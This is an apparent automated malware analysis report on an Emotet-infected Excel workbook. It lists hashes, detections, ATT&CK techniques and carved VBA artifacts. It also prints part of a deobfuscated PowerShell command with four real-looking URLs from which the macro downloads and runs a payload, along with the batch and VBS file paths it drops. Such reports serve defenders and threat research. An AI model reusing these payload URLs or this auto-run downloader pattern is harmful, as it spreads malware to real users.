Emotet Office (OOXML) / .XLSX malware analysis — malicious · 45ddfb4802b1c3e1

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 2c013c52a214947ea37acb25e69c6194 SHA-1: 3e1fbd38aca367943ffd8f10f22921981886ab18 SHA-256: 45ddfb4802b1c3e1c92b7d6d83cbc146edc060ec094ae04eedf3a4e67e726e7a

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1566.002 Spearphishing Attachment T1204.002 Malicious File

The ClamAV detection explicitly names this as an Emotet variant (Xls.Downloader.EmotetExcel02223-9938902-0). The presence of a Workbook_Open macro and CreateObject calls are strong indicators of malicious intent. The embedded PowerShell command, when deobfuscated, reveals multiple URLs from which it attempts to download and execute a payload. Specifically, it reconstructs the command: 'hell -e:"http://sumedahonline.com/wp-content/HyzNXJ30XQVBSRH/,http://divachintextile.com/wp-incudades/WHwWRKs8KvzNfM6/,http://hotelalandmalaab.com/1520/bUdhEPdf/,http://shwenantawin.com/copma/XTnZii02vfgV,"'. The script also writes to 'c:\programdata\jledshf.bat' and 'c:\programdata\tghklsd.vbs'.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `6b4270651ea5f324ab9eb500b24f1a350ef5cee5f82d24b57351a1b85d1ad5d3`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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